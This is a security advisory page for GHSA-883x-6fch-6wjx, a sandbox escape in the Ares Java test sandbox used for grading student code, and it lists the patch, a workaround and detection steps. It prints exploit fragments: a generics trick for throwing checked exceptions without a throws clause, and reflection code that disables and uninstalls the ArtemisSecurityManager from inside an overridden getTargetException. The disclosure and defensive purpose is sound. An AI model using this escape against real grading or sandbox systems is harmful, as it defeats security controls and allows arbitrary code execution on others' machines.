Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in AresGHSA-883x-6fch-6wjx
HIGHFix: ls1intum/Ares@af4f28aGHSA-883x-6fch-6wjx is a high-severity (CVSS 8.2) CWE-653 vulnerability in de.tum.in.ase:artemis-java-test-sandbox. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for de.tum.in.ase:artemis-java-test-sandbox — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-883x-6fch-6wjx.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
de.tum.in.ase:artemis-java-test-sandboxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
This allows an attacker to create special subclasses of InvocationTargetException that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.
Patches
Update to version 1.7.6 or later.
Workarounds
Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371
References
Are there any links users can visit to find out more? Not that I know of.
For more information
If you have any questions or comments about this advisory:
- Open an issue in https://github.com/ls1intum/Ares/issues
- Email us, see https://github.com/ls1intum/Ares/security/policy
Detailed description
Using generics, it is possible to throw checked exceptions without a throws clause:
public class ThrowWithoutThrowsHelper<X extends Throwable>
{
private final X throwable;
private ThrowWithoutThrowsHelper(X throwable)
{
this.throwable = throwable;
}
private <R> R throwWithThrows() throws X
{
throw throwable;
}
public static <R> R throwWithoutThrows(Throwable throwable)
{
ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);
@SuppressWarnings("unchecked")
ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;
return helperCasted.throwWithThrows();
}
}
</details>
Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of InvocationTargetException (let's call it EvilInvocationTargetException).
This exception is catched by org.junit.platform.commons.util.ReflectionUtils::invokeMethod, which looks like this:
public static Object invokeMethod(Method method, Object target, Object... args) {
Preconditions.notNull(method, "Method must not be null");
Preconditions.condition((target != null || isStatic(method)),
() -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString()));
try {
return makeAccessible(method).invoke(target, args);
}
catch (Throwable t) {
throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));
}
}
</details>
This method calls getUnderlyingCause (of the same class), passing to it the catched, malicious exception as an argument.
private static Throwable getUnderlyingCause(Throwable t) {
if (t instanceof InvocationTargetException) {
return getUnderlyingCause(((InvocationTargetException) t).getTargetException());
}
return t;
}
</details>
getUnderlyingCause in turn checks if the passed exception is instanceof InvocationTargetException, and if so, calls getTargetException on it. getTargetException can be overridden by subclasses of InvocationTargetException, like the EvilInvocationTargetException.
If EvilInvocationTargetException is in a whitelisted package (for example de.tum.in.test.api.security.notsealedsubpackage), getTargetException will be called with the entire stack containing only whitelisted frames.
This allows the attacker to uninstall the ArtemisSecurityManager in EvilInvocationTargetException::getTargetException:
SecurityManager secman = System.getSecurityManager();
Class<?> aresSecmanClass = secman.getClass();
Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled");
isPartlyDisabledF.setAccessible(true);
isPartlyDisabledF.set(secman, true);
System.setSecurityManager(null);
</details>
After uninstalling ArtemisSecurityManager, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | de.tum.in.ase:artemis-java-test-sandbox | all versions | 1.7.6de.tum.in.ase:artemis-java-test-sandbox:1.7.6 |
Affected Products
artemis java test sandboxls1intumResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for de.tum.in.ase:artemis-java-test-sandbox, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update de.tum.in.ase:artemis-java-test-sandbox to 1.7.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-883x-6fch-6wjx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-883x-6fch-6wjx in your dependencies?
Find it across Maven, including transitive dependencies.